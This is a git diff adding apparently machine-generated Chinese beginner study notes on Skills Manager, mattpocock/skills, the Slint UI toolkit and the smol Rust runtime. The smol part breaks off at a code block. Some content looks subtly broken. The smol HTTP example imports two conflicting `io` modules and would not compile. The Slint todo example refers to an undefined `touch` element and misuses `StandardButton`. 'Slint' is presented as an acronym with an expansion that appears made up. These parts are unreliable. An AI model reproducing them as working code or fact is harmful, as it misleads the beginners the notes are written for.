+每次成功同步都会创建一个带版本号的快照标签。你可以在桌面应用的 Library 页面中打开 Version History，查看时间线，并恢复到任意历史版本。
+
+> 注意：SQLite 数据库（`skills-manager.db`）不会被纳入 Git 备份。它只存元数据，可以从技能文件本身重新扫描生成。
+
+### 示例 4：采用已存在的技能
+
+如果你在 `~/.claude/skills/` 里手动放过一些技能，想让 Skills Manager 也管理它们：
+
+```bash
+# 先看看哪些技能可以被"领养"
+npm run cli -- skills adopt ~/.claude/skills --dry-run
+
+# 正式领养
+npm run cli -- skills adopt ~/.claude/skills
+```
+
+领养之后，这些技能就会出现在中央库里，享受统一的搜索、同步、备份等功能。
+
+## 六、技术架构简析
+
+Skills Manager 的技术选型很有意思：
+
+```
+┌─────────────────────────────────┐
+│         前端层 (React 19)        │  ← TypeScript + Vite + Tailwind CSS
+│         桌面外壳 (Tauri 2)       │  ← 把网页打包成桌面应用
+├─────────────────────────────────┤
+│         后端层 (Rust)            │  ← src-tauri/ 目录
+│         数据存储 (SQLite)        │  ← rusqlite 库
+└─────────────────────────────────┘
+```
+
+为什么用 Tauri + Rust？
+
+- **轻量**：相比 Electron 动辄 200MB+ 的内存占用，Tauri 应用通常只有几 MB。因为它用的是操作系统自带的 WebView，而不是捆绑一个完整的 Chromium。
+- **安全**：Rust 语言在编译时就避免了空指针、数据竞争等常见 Bug，减少了运行时崩溃的概率。
+- **跨平台**：一套代码同时支持 macOS、Windows、Linux。
+
+## 七、关键设计决策
+
+### 预设是一次性复制，不是实时同步
+
+这是初学者最容易误解的地方。`presets apply` 执行的是"快照式复制"——把预设中的技能复制到目标工具，之后就各自独立了。如果你想修改预设的内容并让它生效，需要重新运行 `apply`。
+
+这跟 Git 的 `checkout` 有点像：你把代码签出到工作区后，两边的文件就不再关联了。
+
+### 中央库 vs 工具本地文件夹
+
+Skills Manager 采用"集中管理、按需分发"的模式：
+
+- 中央库 = 你的技能仓库（只存一份）
+- 工具本地文件夹 = 分发目标（可能有多份副本或符号链接）
+
+这种设计的优点是节省磁盘空间、更新方便；缺点是如果同步失败，某个工具可能拿不到最新的技能。
+
+### 为什么数据库不进 Git？
+
+`skills-manager.db` 存的是元数据：技能的来源、标签、预设关系、同步状态等。这些信息都可以从技能文件的实际结构和文件名中推断出来。所以它被排除在 Git 备份之外——即使丢失了，重新扫描一遍技能文件夹就能重建。
+
+## 八、实际使用场景
+
+### 场景 1：新手入门
+
+你刚开始学编程，安装了 Claude Code 和一个 IDE。你可以：
+
+1. 从 Skills Manager 的市场浏览热门技能
+2. 安装"代码规范"、"错误排查"等基础技能到中央库
+3. 在 Global Workspace 中同时勾选 Claude Code 和你的 IDE
+4. 一键同步，两个工具同时获得这些技能
+
+### 场景 2：团队协作
+
+你和同事一起做一个项目，你们希望项目中的 AI 助手使用统一的技能配置：
+
+1. 在项目目录下创建一个 Project Workspace
+2. 添加项目专用的技能（比如公司的代码规范）
+3. 把这些技能推送到项目本地的技能文件夹
+4. 用 Git 备份中央库，同事克隆后自动获得相同配置
+
+### 场景 3：多机器同步
+
+你在 Mac 和 PC 上都用同样的 AI 工具：
+
+1. 在 Settings 中配置一个 Git 远程仓库地址
+2. 在 Library 中点击"Start Backup"初始化远程仓库
+3. 之后在任何一台机器上安装新技能，运行"Sync to Git"
+4. 另一台机器上运行"Sync to Git"拉取最新配置
+
+## 九、常见问题
+
+**Q: 技能安装后，AI 工具立刻生效吗？**
+
+A: 取决于工具。大多数工具会在下次启动或重新加载配置时读取新的技能文件。如果不确定，可以重启一下你的 AI 工具。
+
+**Q: 删除一个技能会同时从所有工具中移除吗？**
+
+A: 不会。Skills Manager 管理的是中央库中的技能。从中央库删除只会移除副本，已同步到各个工具的文件不受影响。你需要手动清理工具本地的技能文件夹。
+
+**Q: 可以自定义工具路径吗？**
+
+A: 可以。在 Settings 中可以添加自定义工具，指定它们的技能文件夹路径，也可以覆盖内置工具的默认路径。
+
+**Q: macOS 第一次打开被阻止怎么办？**
+
+A: 这是 macOS Gatekeeper 的安全机制。点击"Done"后，打开"系统设置 → 隐私与安全性"，点击"仍要打开"即可。如果是旧版（v1.19.0 之前），需要在终端运行 `xattr -cr /Applications/skills-manager.app`。
+
+## 十、总结
+
+Skills Manager 解决的是一个真实存在的问题：当你的 AI 编程工具超过一个时，技能管理的复杂度会线性增长。它的核心思路很简单——建一个中央仓库，用一个图形界面来管理，再提供 CLI 给脚本和自动化流程使用。
+
+对于初学者来说，它最大的价值不在于技术深度，而在于让你直观地理解"配置集中管理"这个概念。这个概念在很多领域都有应用：包管理器（npm/pip）、配置文件管理（dotfiles）、基础设施即代码（Terraform）等等。理解了 Skills Manager 的工作方式，你就理解了"集中管理、按需分发"这一通用模式。
diff --git a/src/content/docs/projects/skills.md b/src/content/docs/projects/skills.md
new file mode 100644
index 000000000..3c43b32b5
--- /dev/null
+++ b/src/content/docs/projects/skills.md
@@ -0,0 +1,285 @@
+---
+title: mattpocock/skills — 零基础学习笔记
+来源: https://github.com/mattpocock/skills
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# mattpocock/skills — 零基础学习笔记
+
+## 一、它是什么：从"大厨做饭"开始理解
+
+想象你在厨房做菜。
+
+普通 AI 编程工具就像一个"瞎炒"的厨师——你告诉他"做一道菜"，他直接往锅里倒一堆调料，端出来你可能不喜欢。
+
+mattpocock/skills 做的事情很简单：给 AI 厨师准备一本"菜谱小册子"，每张小卡片对应一种固定做法。你告诉厨师"用 /tdd 卡片"，他就按这套标准流程做菜。
+
+这些卡片（skill）不是绑定某个特定 AI 工具的，它们只是纯文本说明文件，告诉 AI "遇到这种情况该怎么做"。任何能读文件的 AI 编码助手（Claude Code、Codex 等）都能用。
+
+关键理念：**小、可组合、可改造**。不强制你按某个大框架干活，而是给你可自由拼凑的小工具。
+
+## 二、安装：三步搞定
+
+```bash
+# 第 1 步：运行安装脚本
+npx skills@latest add mattpocock/skills
+
+# 第 2 步：在 AI 编辑器里选择想要的 skill，
+#         并勾选 /setup-matt-pocock-skills
+
+# 第 3 步：运行 /setup-matt-pocock-skills 初始化配置
+#         它会问你：用什么 issue 追踪器？标签叫什么？文档存哪？
+```
+
+安装后，你的 `.claude/skills/` 目录下会出现一系列子文件夹，每个文件夹里有一个 `SKILL.md` 文件。
+
+## 三、一个 skill 文件长什么样
+
+每个 skill 就是一个 `.md` 文件。以下是一个简化后的 `grill-me` skill 的内容：
+
+```markdown
+---
+name: grill-me
+description: Interview the user relentlessly about a plan or design until
+  reaching shared understanding. Use when user wants stress-test a plan.
+---
+
+Interview me relentlessly about every aspect of this plan until we reach
+a shared understanding. Walk down each branch of the design tree,
+resolving dependencies between decisions one-by-one.
+
+Ask the questions one at a time, waiting for feedback on each question
+before continuing.
+```
+
+三个部分：
+
+- `name`：skill 的名字，对应你输入的 `/grill-me`
+- `description`：AI 什么时候该用这个 skill（触发条件）
+- 正文：具体的执行指令，告诉 AI 该按什么步骤操作
+
+## 四、核心概念 1：Grill（审问）—— 动手前先对齐
+
+最大的编程问题不是"不会写代码"，而是"没搞清楚要做什么"。
+
+`/grill-me` 和 `/grill-with-docs` 就是解决这个问题的。它让你和 AI 之间做一次"深度对话"，把每个决策点都问清楚。
+
+**实际用法示例**：你想做一个用户注册功能。
+
+正常做法：直接让 AI "写一个用户注册 API"。AI 可能用你项目中不存在的数据库连接方式，或者忽略了你已有的认证流程。
+
+grill 做法：
+
+```
+你: /grill-with-docs
+AI: 你想做什么？
+你: 做一个用户注册 API
+AI: 注册后需要发邮件确认吗？
+你: 需要
+AI: 邮箱格式校验用项目已有的 validator 还是新建？
+你: 用已有的
+AI: 那我用现有的 validator 模块...
+```
+
+每一轮只问一个问题，等你回答后再继续。最后还会自动把确定的术语写进 `CONTEXT.md`，以后 AI 就不会用错词了。
+
+## 五、核心概念 2：TDD（测试驱动开发）—— 先写失败，再写通过
+
+`/tdd` skill 实现的是经典的 Red-Green-Refactor 循环：
+
+```
+RED   → 写一个会失败的测试
+GREEN → 写最少的代码让测试通过
+REFACTOR → 清理代码，不改变行为
+```
+
+但它强调了一个重要的反模式——**不要一次性写完所有测试再写代码**（这叫"横向切片"），而是要**一个测试对应一个功能，逐步推进**（这叫"垂直切片"）：
+
+```
+错误做法（横向）：
+  RED:   测试1, 测试2, 测试3, 测试4, 测试5
+  GREEN: 代码1, 代码2, 代码3, 代码4, 代码5
+
+正确做法（垂直）：
+  RED→GREEN: 测试1 → 代码1
+  RED→GREEN: 测试2 → 代码2
+  RED→GREEN: 测试3 → 代码3
+```
+
+**代码示例**：用 TDD 写一个简单的"购物车加商品"功能。
+
+第一步，RED——先写一个失败的测试：
+
+```typescript
+// tests/cart.test.ts
+import { describe, it, expect } from 'vitest';
+import { Cart } from '../src/cart';
+
+describe('Cart', () => {
+  it('should add an item and update the total', () => {
+    const cart = new Cart();
+    cart.addItem({ id: 'apple', price: 3.5, quantity: 2 });
+
+    expect(cart.total()).toBe(7);
+    expect(cart.itemCount()).toBe(2);
+  });
+});
+```
+
+运行测试 → 失败（因为 Cart 类还不存在）。
+
+第二步，GREEN——写最少代码让它通过：
+
+```typescript
+// src/cart.ts
+export class Cart {
+  private items: { price: number; quantity: number }[] = [];
+
+  addItem(item: { price: number; quantity: number }) {
+    this.items.push(item);
+  }
+
+  total(): number {
+    return this.items.reduce(
+      (sum, item) => sum + item.price * item.quantity,
+      0
+    );
+  }
+
+  itemCount(): number {
+    return this.items.reduce((sum, item) => sum + item.quantity, 0);
+  }
+}
+```
+
+运行测试 → 通过。
+
+第三步，REFACTOR——代码已经够简洁了，跳过。
+
+第四步，继续下一个功能，回到 RED → GREEN。
+
+## 六、核心概念 3：Diagnose（诊断）—— 系统化修 bug
+
+`/diagnose` 把修 bug 拆成 6 个阶段，不能跳过：
+
+```
+Phase 1  → 建立反馈回路（让 bug 能被复现）
+Phase 2  → 确认复现（bug 确实出现了）
+Phase 3  → 提出假设（3-5 个可能原因，按可能性排序）
+Phase 4  → 验证假设（每次只改一个变量）
+Phase 5  → 修复 + 回归测试
+Phase 6  → 清理 + 写总结
+```
+
+其中最关键的是 Phase 1。作者说："**这才是真正的技巧**。其他都是机械的——只要能快速确定 bug 是否复现，你基本已经修好了 90%。"
+
+建立反馈回路的 10 种方式（按优先级）：
+
+1. 写一个失败的测试用例
+2. 对运行中的服务器发 curl 请求
+3. 命令行调用 + 对比输出
+4. 用 Playwright/Puppeteer 驱动浏览器
+5. 回放捕获的日志或网络请求
+6. 写一个最小的测试脚本
+7. 随机输入跑 1000 次找规律
+8. 自动 git bisect
+9. 新旧版本输出对比
+10. 写个脚本让人配合点击（最后手段）
+
+## 七、核心概念 4：共享语言（CONTEXT.md）
+
+每次和 AI 对话时，术语不一致是效率杀手。比如你说的"用户"可能指的是"登录的人"，AI 理解的"用户"可能是"所有注册过的人"。
+
+`/grill-with-docs` 会自动维护一个 `CONTEXT.md` 文件，把项目中每个术语的确切含义记录下来：
+
+```markdown
+# CONTEXT.md
+
+## 术语表
+
+- **Cancellation** — 指订单在支付前的取消。支付后的取消叫"退款"。
+- **Materialization** — 指将一个"待处理"的订单转为"实际"订单并落盘的过程。
+- **Cart** — 用户结账前的临时购物车。结账后即变为 Order。
+```
+
+以后 AI 看到这些定义，就不会再用错术语了。
+
+## 八、全部 skill 一览
+
+### 工程类（和代码直接相关）
+
+| 命令 | 作用 | 一句话理解 |
+|------|------|------------|
+| `/diagnose` | 系统化调试 | 别瞎猜，按步骤来 |
+| `/grill-with-docs` | 审问式设计 + 文档 | 动手前先对齐术语 |
+| `/tdd` | 测试驱动开发 | 一个测试一个功能 |
+| `/triage` | 问题分类 | 给 bug 打标签排队 |
+| `/zoom-out` | 拉远视角 | 这段代码在全局里什么位置？ |
+| `/to-prd` | 写产品需求文档 | 把讨论变成文档 |
+| `/to-issues` | 拆成任务 | 一个大需求拆成独立小任务 |
+| `/improve-codebase-architecture` | 重构架构 | 代码变乱了？来清理一下 |
+| `/prototype` | 快速原型 | 不确定怎么做？先做一个看看 |
+
+### 效率类（通用工作流）
+
+| 命令 | 作用 | 一句话理解 |
+|------|------|------------|
+| `/grill-me` | 审问式设计 | 别急着写代码 |
+| `/caveman` | 极简沟通 | 省 token，只说重点 |
+| `/handoff` | 交接文档 | 换人继续干 |
+| `/teach` | 教学 | 分多次课学一个概念 |
+| `/write-a-skill` | 写新 skill | 自定义你的工具 |
+
+### 杂项
+
+| 命令 | 作用 |
+|------|------|
+| `/setup-matt-pocock-skills` | 初始化配置（必须首先运行） |
+| `/git-guardrails-claude-code` | 防止误操作 git 的危险命令 |
+| `/setup-pre-commit` | 设置提交前自动检查 |
+
+## 九、设计理念：为什么这些 skill 有效
+
+作者总结了他观察到的 AI 编码工具的四大失败模式，以及每个 skill 对应的解法：
+
+**失败模式 1：AI 做的事不是你要的**
+→ 用 `/grill-me` 或 `/grill-with-docs` 做"对齐审问"
+
+**失败模式 2：AI 废话太多**
+→ 用 `CONTEXT.md` 建立共享语言，减少解释成本
+
+**失败模式 3：写的代码跑不起来**
+→ 用 `/tdd` 和 `/diagnose` 建立快速反馈循环
+
+**失败模式 4：代码库越来越乱**
+→ 用 `/zoom-out` 和 `/improve-codebase-architecture` 持续关心设计
+
+## 十、给你的第一条建议
+
+先跑 `/setup-matt-pocock-skills` 初始化，然后每个新功能都用一次 `/grill-with-docs`。
+
+这花不了多少时间，但能避免 80% 的"你做的不是我要的"这类问题。
+
+剩下的，用 `/tdd` 一个一个功能推进。遇到 bug 时跑 `/diagnose`，别跳步骤。
+
+慢慢来，这些 skill 的价值会在你用了十几二十个功能后自然显现。
+
+## 十一、延伸思考：skill 本身的本质
+
+回到最初的问题：skill 到底是什么？
+
+它就是**把优秀工程师的习惯写成了可重复执行的指令**。
+
+你见过好工程师怎么做吗？
+
+- 他接到需求先问清楚细节 → `/grill-me`
+- 他写代码前会先写测试 → `/tdd`
+- 他修 bug 不会乱试，而是系统排查 → `/diagnose`
+- 他会在代码变乱时主动清理 → `/improve-codebase-architecture`
+
+mattpocock/skills 只是把这些"好习惯"从个人经验变成了可分享、可组合的文本文件。你不需要成为好工程师才能用好它们——只要照着说明书做就行。
+
+这大概就是"给真正的工程师用的 skill"这句话的含义：不是什么花哨的框架，就是几十年软件工程实践中总结出来的那些朴素的、被反复验证过的好习惯。
diff --git a/src/content/docs/projects/slint.md b/src/content/docs/projects/slint.md
new file mode 100644
index 000000000..432cd6aba
--- /dev/null
+++ b/src/content/docs/projects/slint.md
@@ -0,0 +1,378 @@
+---
+title: Slint — 声明式跨平台 UI 工具包
+来源: https://github.com/slint-ui/slint
+日期: 2026-06-13
+分类: 后端 API
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# Slint — 声明式跨平台 UI 工具包
+
+## 一、日常类比：用"乐高说明书"搭界面
+
+想象一下你要用乐高搭一座小房子。
+
+传统编程写界面，就像一块一块地拼——先创建按钮对象，再设置它的文字颜色，再把它放到窗口里，再给它加一个点击事件监听器。每一步都要写代码去"告诉"系统怎么做。
+
+Slint 的做法更像看一份乐高说明书：你直接描述"这里放一个红色按钮，上面写着'点击我'"。系统会自动理解并把它变成真正的界面元素。这就是**声明式**——你说"要什么"，而不是"怎么做"。
+
+Slint 的名字来源于它的设计目标缩写：
+
+- **S**calable（可扩展）— 从小型嵌入式设备到手机桌面都能跑
+- **L**ightweight（轻量）— 内存占用极小，在资源匮乏的设备上也能流畅运行
+- **I**ntuitive（直观）— 设计师和开发者都能看懂和上手
+- **N**ative（原生）— 编译成机器码，不是 WebView 包装，性能等同原生应用
+- **T**ooling（工具链完善）— VS Code 插件、实时预览、Figma 导入
+
+## 二、核心概念
+
+### 2.1 组件（Component）
+
+组件是 Slint 的基本构建单元，类似于乐高积木的一块。每个组件定义了一部分界面，可以包含其他组件作为子元素。最顶层的组件通常继承自 `Window`，代表一个完整的窗口。
+
+### 2.2 属性（Properties）
+
+每个界面元素都有属性，比如颜色、大小、文字内容。属性之间可以建立**绑定关系**——当一个属性的值变化时，依赖它的其他属性会自动更新。这就像一根橡皮筋：你拉一端，另一端跟着动。
+
+属性有三种可见性：
+
+- `in` — 外部可以设置，组件内部提供默认值但不能覆盖
+- `out` — 组件内部设置，外部只能读取
+- `in-out` — 内外都可以读写
+
+### 2.3 响应式（Reactivity）
+
+这是 Slint 最核心的魔法。在 Slint 中，**每一个表达式都是自动响应的**。如果你把文本内容绑定到一个计数器变量上，计数器一变，界面上的文字立刻跟着变。不需要手动调用"刷新"或"重新渲染"。
+
+这和 React 的响应式不同：React 需要你显式调用 setState 来触发更新，而 Slint 从语言层面就内置了响应式，零配置。
+
+### 2.4 回调（Callbacks）
+
+回调是组件对外发出的"信号"。比如一个按钮被点击了，它就触发 `clicked` 回调。你可以用 `=>` 语法来响应这些信号。
+
+### 2.5 布局（Layouts）
+
+Slint 提供了三种自动布局方式：
+
+- `VerticalLayout` — 垂直排列子元素
+- `HorizontalLayout` — 水平排列子元素
+- `GridLayout` — 网格排列
+
+你也可以手动指定每个元素的 x、y 坐标来做精确控制。
+
+## 三、代码示例
+
+### 示例 1：计数器应用（Hello World 升级版）
+
+这个例子展示了属性绑定、回调响应和条件表达式的组合使用：
+
+```slint
+export component CounterApp inherits Window {
+    width: 300px;
+    height: 200px;
+
+    // 声明一个整数类型的属性，初始值为 0
+    property<int> count: 0;
+
+    // 计算属性：根据计数值动态改变显示文字
+    // 这是一个响应式绑定，count 变化时自动重新计算
+    property<string> status-text: count == 0 ? "还没有点过"
+                                     : count < 5  ? "继续加油！"
+                                                   : "已经很多啦！";
+
+    VerticalLayout {
+        padding: 20px;
+        spacing: 15px;
+
+        Text {
+            text: "计数器";
+            font-size: 24px;
+            horizontal-alignment: center;
+        }
+
+        Text {
+            text: root.status-text;
+            font-size: 16px;
+            color: count >= 5 ? red : blue;
+        }
+
+        Text {
+            text: "当前值：" + count;
+            font-size: 32px;
+            horizontal-alignment: center;
+        }
+
+        // 两个按钮，分别增加和减少计数
+        HorizontalLayout {
+            spacing: 20px;
+            alignment: center;
+
+            Button {
+                text: "减一";
+                clicked => { root.count -= 1; }
+            }
+
+            Button {
+                text: "加一";
+                clicked => { root.count += 1; }
+            }
+        }
+    }
+}
+```
+
+这段代码做了什么：
+
+1. 定义了一个 `count` 属性，初始值为 0
+2. 定义了 `status-text`，它是一个计算属性——当 `count` 变化时，文字自动从"还没有点过"变为"继续加油！"再变为"已经很多啦！"
+3. 颜色也会随 `count` 变化：小于 5 时蓝色，大于等于 5 时红色
+4. 两个按钮通过 `clicked =>` 语法响应点击事件，直接修改 `count` 的值
+5. 整个过程中没有任何"刷新界面"的代码，响应式引擎自动处理一切
+
+### 示例 2：待办事项列表（数据驱动 UI）
+
+这个例子展示了数据模型和循环渲染：
+
+```slint
+import { StandardButton, LineEdit } from "std-widgets.slint";
+
+export component TodoApp inherits Window {
+    width: 400px;
+    height: 500px;
+
+    // 声明一个字符串数组类型的外部属性
+    // 这个属性由后端代码（Rust/C++/JS）提供数据
+    in-out property <array<string>> todos;
+
+    // 当前正在输入的新待办项
+    property<string> new-todo-text: "";
+
+    // 过滤状态：all / active / completed
+    in property <string> filter: "all";
+
+    VerticalLayout {
+        padding: 15px;
+        spacing: 10px;
+
+        Text {
+            text: "待办事项";
+            font-size: 20px;
+            color: #333;
+        }
+
+        // 输入框 + 添加按钮
+        HorizontalLayout {
+            spacing: 10px;
+            LineEdit {
+                placeholder-text: "输入新的待办事项...";
+                text: root.new-todo-text;
+                on-enter-pressed => {
+                    if self.text != "" {
+                        root.todos.append(self.text);
+                        self.text = "";
+                    }
+                }
+            }
+            StandardButton {
+                text: "添加";
+                clicked => {
+                    if root.new-todo-text != "" {
+                        root.todos.append(root.new-todo-text);
+                        root.new-todo-text = "";
+                    }
+                }
+            }
+        }
+
+        // 分隔线
+        Rectangle {
+            height: 1px;
+            background: #ddd;
+        }
+
+        // 循环渲染待办项列表
+        VerticalLayout {
+            spacing: 5px;
+            for t in root.todos : Row {
+                spacing: 10px;
+
+                Rectangle {
+                    width: 15px;
+                    height: 15px;
+                    border-radius: 50%;
+                    background: touch.is-active ? #ccc : #eee;
+                    TouchArea {
+                        clicked => { /* 标记完成逻辑 */ }
+                    }
+                }
+
+                Text {
+                    text: t;
+                    font-size: 14px;
+                }
+            }
+        }
+
+        // 底部统计信息
+        Text {
+            text: "共 " + todos.length + " 项";
+            font-size: 12px;
+            color: #999;
+            horizontal-alignment: right;
+        }
+    }
+}
+```
+
+这段代码展示了：
+
+1. `in-out property <array<string>> todos` — 声明一个可由外部（Rust/C++/JS 后端）读写的数据数组
+2. `for t in root.todos :` — 循环语法，遍历数组中的每一项并渲染对应的 UI 元素
+3. `LineEdit` 的 `on-enter-pressed` 事件 — 按回车键时触发添加操作
+4. `touch.is-active` — 内置的触摸状态属性，用来做视觉反馈
+5. `todos.length` — 属性可以像普通变量一样参与表达式计算
+
+### 示例 3：自定义可复用组件
+
+Slint 的强大之处在于组件可以像乐高一样无限组合：
+
+```slint
+// 定义一个可复用的卡片组件
+export component Card inherits Rectangle {
+    // 外部可设置的属性
+    in property <string> title;
+    in property <string> content;
+    in property <color> accent-color: blue;
+
+    // 卡片尺寸
+    preferred-width: 200px;
+    preferred-height: 120px;
+    background: white;
+    border-radius: 10px;
+    border-width: 1px;
+    border-color: #eee;
+
+    VerticalLayout {
+        padding: 15px;
+        spacing: 8px;
+
+        Rectangle {
+            height: 3px;
+            width: parent.width;
+            background: root.accent-color;
+        }
+
+        Text {
+            text: root.title;
+            font-size: 16px;
+            font-weight: bold;
+        }
+
+        Text {
+            text: root.content;
+            font-size: 13px;
+            color: #666;
+        }
+    }
+}
+
+// 使用卡片组件
+export component Dashboard inherits Window {
+    width: 500px;
+    height: 400px;
+    background: #f5f5f5;
+
+    GridLayout {
+        spacing: 15px;
+        padding: 20px;
+
+        Card {
+            title: "用户数";
+            content: "本月新增 1,234 位用户";
+            accent-color: blue;
+        }
+
+        Card {
+            title: "收入";
+            content: "本月营收 ¥56,789";
+            accent-color: green;
+        }
+
+        Card {
+            title: "订单";
+            content: "待处理 42 笔订单";
+            accent-color: orange;
+        }
+    }
+}
+```
+
+这里的关键点是：
+
+1. `Card` 是一个完全独立的组件，定义了标题、内容和强调色三个外部接口
+2. 它内部用 `Rectangle`、`Text`、`VerticalLayout` 组合出卡片的外观
+3. `Dashboard` 直接使用了三次 `Card`，每次传入不同的数据
+4. 这就是声明式 UI 的威力——**一次定义，多次复用**
+
+## 四、Slint 的工作流程
+
+```
+.slint 文件（UI 描述）
+    │
+    ▼
+┌─────────────┐
+│  Slint 编译器 │  →  生成 Rust / C++ / JavaScript / Python 代码
+└─────────────┘
+    │
+    ▼
+┌─────────────┐
+│  运行时引擎   │  →  属性绑定解析、事件分发、渲染调度
+└─────────────┘
+    │
+    ▼
+┌─────────────┐
+│  渲染后端     │  →  OpenGL (FemtoVG) / Skia / 软件渲染
+└─────────────┘
+```
+
+整个流程可以概括为三步：
+
+1. **写** — 用 `.slint` 文件描述界面（纯声明式，不涉及业务逻辑）
+2. **编** — Slint 编译器将 `.slint` 编译为目标语言的代码（Rust/C++/JS/Python）
+3. **跑** — 运行时引擎处理属性绑定、事件和用户交互，渲染后端负责绘制
+
+业务逻辑（数据库操作、网络请求等）写在对应的后端语言文件中，通过属性绑定和回调与 UI 通信。这种分离让设计师可以专注于界面，开发者可以专注于逻辑。
+
+## 五、Slint vs 其他方案对比
+
+| 特性 | Slint | React Native | Flutter | SwiftUI |
+|------|-------|-------------|---------|---------|
+| 运行时体积 | 极小（几百 KB） | 大（需运行时） | 中等（~10MB） | 中等 |
+| 支持平台 | 桌面+移动端+嵌入式+Web | 移动为主 | 全平台 | 苹果生态 |
+| 嵌入式支持 | 是（树莓派、STM32） | 否 | 否 | 否 |
+| 编译产物 | 原生机器码 | JS 桥接 | Dart 编译 | 原生编译 |
+| 学习曲线 | 低（声明式语言） | 中（需懂 React） | 中（需学 Dart） | 低（需懂 Swift） |
+| 许可证 | 开源免费 / 商业许可 | MIT | BSD | BSD |
+
+Slint 的独特优势在于**嵌入式场景**——它是少数能在资源极度受限的微控制器（如 STM32、RP2040）上运行的高性能 GUI 工具包。这也是它与 React Native、Flutter 等方案最大的区别。
+
+## 六、为什么值得了解
+
+对于零基础学习者来说，Slint 有几个特别友好的地方：
+
+1. **语法接近自然语言** — `Text { text: "你好" }` 这种写法，即使没学过编程也能猜出意思
+2. **没有"刷新"的概念** — 不需要理解"虚拟 DOM diff"或"setState"这些抽象概念，属性变了界面就变
+3. **一门语言搞定所有平台** — 不用分别学 Android XML、iOS Storyboard、Web HTML
+4. **与主流语言无缝对接** — 你的 UI 可以用 Rust、C++、JavaScript 或 Python 驱动，选你最熟悉的就行
+
+Slint 由德国 SixtyFPS GmbH 公司开发，目前 GitHub 上有超过 22,000 个 Star，社区活跃，文档完善。最新版本为 1.16.x，API 稳定在 1.x 分支。
+
+## 七、进一步学习
+
+- 官方文档：https://slint.dev/docs
+- 在线编辑器（无需安装）：https://slintpad.com
+- VS Code 扩展：官方提供，支持自动补全和实时预览
+- Figma 插件：可以直接把 Figma 设计稿导出为 Slint 代码
+- 示例仓库：https://github.com/slint-ui/slint/tree/master/examples
+- 社区讨论：https://github.com/slint-ui/slint/discussions
diff --git a/src/content/docs/projects/smol.md b/src/content/docs/projects/smol.md
new file mode 100644
index 000000000..2e6f815e8
--- /dev/null
+++ b/src/content/docs/projects/smol.md
@@ -0,0 +1,190 @@
+---
+title: smol — 小而美的 async runtime
+来源: https://github.com/smol-rs/smol
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# smol — 小而美的 async runtime
+
+## 什么是 async runtime？
+
+先想象一个场景：你有 100 封邮件要发给不同客户，每封邮件都需要等待邮件服务器回复"已收到"才能算完成。
+
+**同步写法**：一封一封发，发完一封再发下一封。100 封可能要花很久。
+
+**异步写法**：把 100 封信同时交给 100 个邮递员去送信，谁先回来就先处理谁的回复。100 封几乎同时完成。
+
+Async runtime 就是那个"安排邮递员送信"的系统。Rust 里最知名的 runtime 是 Tokio，但它像个大型物流集团——功能强大但体积不小。**smol** 的设计哲学恰恰相反：只做最小可用集，轻、快、简洁。
+
+## 一句话定义
+
+> smol 是一个小而快的 Rust async runtime，它将多个小型异步 crate 重新导出为一个统一工具包。
+
+关键词：**re-exports**（重新导出）。smol 自己不发明轮子，而是把已有的好轮子装在一个箱子里给你。
+
+## 核心生态（smol 的积木盒）
+
+smol 背后是 smol-rs 组织维护的一套异步 crate：
+
+| 组件 | 作用 | 日常类比 |
+|------|------|----------|
+| async-channel | 异步生产者-消费者消息通道 | 一个共享邮箱，多人投递、单人领取 |
+| async-executor | 异步任务执行器 | 工头，分配和调度任务 |
+| async-fs | 异步文件系统操作 | 不阻塞主线程的文件读写 |
+| async-io | I/O 类型异步适配器 + 定时器 | 把普通 I/O 变异步的转换器 |
+| async-lock | 异步锁（互斥锁、读写锁、信号量） | 多人排队使用一个厕所 |
+| async-net | 异步网络（TCP/UDP） | 异步版本的 TCP/UDP 连接 |
+| async-process | 异步进程管理 | 异步启动和管理子进程 |
+| async-task | 任务抽象（构建执行器的基础） | 任务的"身份证" |
+| blocking | 阻塞 I/O 线程池 | 把耗时操作放到后台线程 |
+| futures-lite | 轻量级 futures 组合子库 | 让异步任务更容易组合的工具 |
+| polling | 跨平台 I/O 事件多路复用 | epoll/kqueue 的统一接口 |
+
+## 关键概念
+
+### Executor（执行器）
+
+执行器是 async runtime 的心脏。它的工作是：不断检查有哪些异步任务可以推进，有就推进，没有就等待 I/O 事件。smol 提供两种：
+
+- **Executor** — 全局单线程执行器，`smol::spawn()` 默认挂在这里
+- **LocalExecutor** — 线程局部执行器，只执行当前线程创建的任务
+
+### Task（任务）
+
+一个 `async` 函数体就是一个 Task。你可以用 `smol::spawn()` 把它派发到执行器上运行。任务之间共享执行器资源，执行器自动调度。
+
+### block_on
+
+Rust 的 `async` 函数不能直接在 `main` 里调用（`main` 默认不是 async 的）。你需要一个"启动器"来运行它。`smol::block_on()` 就是这个启动器：它创建执行器、启动 async 块、等到 async 块全部完成后退出。
+
+### Unblock
+
+有些代码不能异步化（比如同步文件 I/O）。Unblock 把这些耗时操作放到后台线程池，让主线程继续处理异步任务。
+
+## 代码示例
+
+### 示例 1：HTTP GET 请求
+
+最基础的用法：连接一个网站，获取首页内容。
+
+```rust
+use smol::{io, net, prelude::*, Unblock};
+use std::io::{self, Write};
+
+fn main() -> io::Result<()> {
+    // block_on 是"启动器"，启动异步执行器
+    smol::block_on(async {
+        // 建立 TCP 连接到 example.com:80
+        let mut stream = net::TcpStream::connect("example.com:80").await?;
+
+        // 构造 HTTP GET 请求
+        let req = b"GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n";
+
+        // 发送请求（await 等待网络 I/O 完成）
+        stream.write_all(req).await?;
+
+        // 把标准输出包装成异步可用形式
+        let mut stdout = Unblock::new(std::io::stdout());
+
+        // 从 stream 复制到 stdout（类似 Unix 的 cp）
+        io::copy(stream, &mut stdout).await?;
+
+        Ok(())
+    })
+}
+```
+
+逐行说明：
+
+1. `smol::block_on(async { ... })` — 启动异步执行器并运行整个代码块
+2. `net::TcpStream::connect(...).await` — 异步建立 TCP 连接，`.await` 表示"等连接建立好再继续"
+3. `stream.write_all(req).await` — 异步发送 HTTP 请求
+4. `Unblock::new(std::io::stdout())` — 因为 `println!` 用的标准输出是同步的，需要包装成异步版本
+5. `io::copy(stream, &mut stdout).await` — 异步地把网络数据流复制到终端
+
+### 示例 2：并发多任务 + 异步通道
+
+展示 smol 的并发能力：启动多个任务，通过异步通道通信。
+
+```rust
